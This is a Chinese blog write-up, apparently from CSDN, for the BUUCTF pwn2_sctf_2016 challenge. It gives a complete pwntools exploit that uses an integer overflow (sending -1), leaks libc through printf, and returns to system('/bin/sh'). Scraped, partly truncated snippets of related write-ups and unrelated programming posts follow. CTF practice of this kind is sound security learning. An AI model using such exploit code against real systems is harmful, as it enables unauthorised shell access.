代码编织梦想

1.chwcksec

2.IDA

无符号Int,输入-1进行溢出 ,绕过长度限制

利用printf函数泄露libc,利用system('bin/sh') 

3.EXP

from pwn import *
from LibcSearcher import *

r=remote("node4.buuoj.cn",27523)
elf=ELF('./pwn2_sctf_2016')

printf_plt=elf.plt['printf']
printf_got=elf.got['printf']
main=elf.sym['main']

r.recvuntil('How many bytes do you want me to read? ')
r.sendline('-1')
r.recvuntil('\n')
payload='a'*(0x2c+4)+p32(printf_plt)+p32(main)+p32(printf_got)
r.sendline(payload)
r.recvuntil('\n')
printf_addr=u32(r.recv(4))
libc=LibcSearcher('printf',printf_addr)

offset=printf_addr-libc.dump('printf')
system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')

r.recvuntil('How many bytes do you want me to read? ')
r.sendline('-1')
r.recvuntil('\n')
payload='a'*(0x2c+4)+p32(system)+p32(main)+p32(bin_sh)
r.sendline(payload)

r.interactive()

在读入的时候输入-1,具体交互

版权声明:本文为博主原创文章,遵循 CC 4.0 BY 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/arraylocalhost/article/details/127732824

BUUCTF pwn pwn2_sctf_2016-爱代码爱编程

0x01 分析   0x02 运行  程序读入一个长度,然后按照长度读入后面输入的data并回显。   0x03 IDA  数据长度被限制为32,无法溢出,接着查看get_n函数。  接受a2个长度的字符串并放到vuln函数的缓冲区内部,但是a2传入的值类型是unsigned int,而前面判断长度的类型是int,可以规避长度限制。  

(buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016-爱代码爱编程

⭐ 【buuctf】pwn入门 pwn学习之路引入 栈溢出引入 ⭐test_your_nc 【题目链接】 注意到 Ubuntu 18, Linux系统 。 nc 靶场 nc node3.buuoj.cn 25677 【注】 nc命令详解 -c shell命令为“-e”;使用/bin/sh来执行 [危险] -e 文件名程序

buuctf-pwn1 sctf 2016-爱代码爱编程

拿到文件后checksec一下,发现开启了NX保护,说明堆栈不可执行,那我们就不能向堆栈上写东西。 查看一下程序main()函数调用了vuln()函数,查看一下此函数有没有什么漏洞可以利用,enmenm,发现代码很多不知道什么意思(太菜了太菜了),好好看看这些代码到底啥意思吧~~,部分代码注释如下: 本来看到代码5处,想着能通过向缓冲区S中写入数据,利用

[BUUCTF-pwn]——pwn1_sctf_2016-爱代码爱编程

[BUUCTF-pwn]——pwn1_sctf_2016 题目地址:https://buuoj.cn/challenges#pwn1_sctf_2016题目: 话不多说,先下载下来再说。 在Linux上 checksec一下,发现开启了NX保护,但是没有开启Stack的保护,也就是说我们可以很轻易的利用栈溢出。 在window的IDA上反汇编看下源码,额

BUUCTF|PWN-pwn1_sctf_2016-WP-爱代码爱编程

1、下载文件并开启靶机 2、在Linux中查看该文件信息 checksec pwn1_sctf_2016 3、该文件是62为文件,我们用32为IDA打开该文件 3.1、shift+f12查看关键字符串 3.2、双击关键字符串,ctrl+x查看cat flag.txt地址   3.3、F5进入main函数反编译代码区

BUUCTF-pwn2_sctf_2016(整数溢出+泄露libc)-爱代码爱编程

32位开启了nx保护没有看到system和‘/bin/sh’,开启了NX保护,是泄露libc类型的题目 main函数就调用了一个vuln函数7行的输入函数不是get,是程序自定义的函数get_n a2传入的值类型是unsigned int,而前面判断长度的类型是int,可以规避长度限制。也就是说我们这边可以输入负数来达到溢出的效果(整数溢出)

BUUCTF Pwn pwn2_sctf_2016-爱代码爱编程

BUUCTF Pwn pwn2_sctf_2016 1.checksec2.IDA32vuln函数漏洞利用3.exp 1.checksec 没有canary,方便溢出没有PIE,构造ROP会方便很多2.IDA32 vuln函数 int vuln() { char nptr[32]; // [esp+1Ch] [ebp-2Ch] B

Buuctf pwn1_sctf_2016-爱代码爱编程

checksec run ida 在程序中搜索既没有system又没有bin/sh,所以明显的rop nptr处可以使用整数溢出构造rop 然后可以利用printf函数来泄露程序的libc版本 覆盖返回地址执行system来getshell exp from pwn import * from LibcSearcher im

BUUCTF pwn1_sctf_2016-爱代码爱编程

执行一下 似乎出现第一个i被替换成you 检查一下保护机制 丢到ida里面 输入的变量s大小为0x3c,但是我们看fgets里面,我们只能输入32个字符,没法进行溢出, 我们在输入的时候,会发现i会被替换成you,所以我们可以利用20个i来填充, 找到shell,地址为0x8048F0D 返回地址再随便填四个字符 我们可以构造一下payload p

BUUCTF-Pwn-pwn2_sctf_2016-爱代码爱编程

题目截图 例行检查 有符号转无符号造成漏洞,输入-1就能绕过if,转换成无符号数又会造成栈溢出 利用printf函数泄露libc,常规流程 exp from pwn import* from LibcSearcher import * elf=ELF('/home/lhb/桌面/pwn2_sctf_2016') p=remote('node4.buuoj

BUUCTF|PWN-pwn1_sctf_2016-爱代码爱编程

1.checksec+运行 32位+NX保护 2.IDA进行中 1.vul函数 fgets()溢出函数 跟进s查看偏移 offset=0x3c+4 0x3c十进制为60 再来分析函数 replace函数:替换 先写入字符串you 再写入字符串I 然后将I 替换成you 这样的话1个字节就变成了3个 那么我们用20个I

pwn2_sctf_2016【buuctf】_mokapeng的博客-爱代码爱编程

32位,NX保护,动态编译,IDA分析: 发现漏洞了,在vul()中,v2是有符号数,而在get_n中为无符号数,因此当我们将v2=-1时,get_n中的v2将表示为无穷大,因此可以溢出。 思路:先通过溢出泄露libc

008-break语句与continue语句的使用,循环嵌套_csdn专家-赖老师(软件之家)的博客-爱代码爱编程

break语句:终止循环(提前跳出循环)         1.break语句可以改变程序的控制流         2.break语句用于do-while、while、for循环中时,可使程序终止循环而执行循环后面的语句,             一般都是用于提前跳出循环        3.break语句通常在循环中与条件语句一起使用。若条件值为真,将跳出

[buuctf-爱代码爱编程

一个简单的溢出,弄这么乱。 代码很多又是静态编辑,好多代码看不明白,于是先建两个块试试。建块输入全长后发现content不见了,再建小块发现问题: content是变长的 基本数据块结构: 下一块地址指针:4字节id号:1字节name:31字节1字节0title:63字节1字节0context 结束后空4字节即为下块 基本思路: 先建两个块con

[buuctf]pwn1_sctf_2016-爱代码爱编程

知识备用: 什么是NX: NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。 总而言之,是一种保护的机制,我不能直接栈里面运行了。 解题思路: 查保护: 利用checks

使用单调队列解决 “滑动窗口最大值” 问题_单调队列滑动窗口-爱代码爱编程

1. 单调队列的典型问题 单调队列是一种用来高效地解决 “滑动窗口最大值” 问题的数据结构。 举个例子,给定一个整数数组,要求输出数组中大小为 K 的窗口中的最大值,这就是窗口最大值问题。而如果窗口从最左侧逐渐滑动到数组

刷题记录:牛客nc23501小a的回文串_小a非常喜欢回文串,当然我们都知道回文串这种情况是非常特殊的。所以小a只想知道-爱代码爱编程

传送门:牛客 题目描述: 小A非常喜欢回文串,当然我们都知道回文串这种情况是非常特殊的。所以小A只想知道给定的一个字符 串的最大回文子串是多少,但是小A对这个结果并不是非常满意。现在小A可以对这个字符串做一些改 动,他可